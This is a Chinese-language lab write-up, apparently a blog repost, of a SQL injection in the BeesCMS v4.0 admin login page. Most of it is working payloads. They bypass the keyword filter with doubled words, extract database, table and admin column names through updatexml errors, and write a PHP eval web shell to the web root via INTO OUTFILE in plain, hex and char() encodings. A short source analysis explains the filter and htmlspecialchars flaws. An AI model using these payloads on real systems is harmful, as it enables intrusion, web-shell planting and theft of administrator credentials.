BeesCMS后台登录SQL报错注入

0x00:前言

BeesCMS后台登陆页面存在sql注入,可以被用来写入一句话木马或者查看管理员密码

Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入

0x01:测试流程

正常密码登录错误

 用户名后面加单引号  '    结果报错

 

 admin' or 1=1#返回正常页面,所以存在报错注入漏洞

admin' order by 10#判断字段数,结果为5

admin' and updatexml(1,concat(0x7e,select database(),0x7e),1)#   查数据库名

 and  和 select 被过滤掉了,尝试双写绕过,对and无效

最终的绕过方法是 双写,中间加上空格  a and nd

 

获得数据库名

 

 admin'a and nd updatexml(1,concat(0x7e,(seselectlect table_name from information_schema.tables where table_schema='bees'),0x7e),1)#

from   where   =   都被过滤

表名1

admin'a and nd updatexml(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'bees' limit 0,1),0x7e),1)#

列名1

admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 0,1),0x7e),1)#

列名2

admin'a and nd updatexml(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e),1)#

列名3

admin'a and nd updatexml(1,concat(0x7e,(seselectlect admin_name fr from om bees.bees_admin limit 0,1),0x7e),1)#

 

 0x02:分析源码

2.1首先对用户名和密码进行,函数fl_value() 和fl_html()

 2.2 跟进fl_value()和fl_html()函数

 函数fl_value()对输入的参数进行了过滤,几乎所有的SQL语句,替换成空字符(:中间空格?注意)

函数fl_html()使用htmlspecialchars()函数对输入的特殊符号进行html实体化转义,主要用于防御XSS漏洞

2.3 htmlspecialchars()函数

 

 默认。仅编码双引号,所以此处存在单引号引入的漏洞

2.4 最后进入check_login()函数

2.5 继续跟进check_login()函数

将用户名拼接到SQL语句中,先判断用户是否存在,在判断密码是否正确,此处形成逻辑漏洞,攻击者课先判断有哪些用户,再根据用户名爆破密码

0x03:继续测试

3.1 尝试通过SQL注入getshell

admin' un union ion selselectect 1,2,3,4,<?php @eval($_POST[cmd]);?> into  outfile 'shell.php'#

php函数htmlspecialchars()对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上

3.3 将shell转为16进制

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'shell.php'#

 不知道为啥,我自己只能上传到,数据库文件路径下,得上传到www目录下才行,我用的是别人的靶场

3.4 用PHPstudy

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#

admin' uni union on selselectect null,null,null,null,unhex(3c3f70687020406576616c28245f504f53545b636d645d293b3f3e)  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/shell.php'#

3.5 然后菜刀链接

3.6 用char()函数

admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62)  in into  outoutfilefile 'C:/phpStudy/WWW/beescms/cmd.php'#

原文地址:https://www.cnblogs.com/liqik/p/12556008.html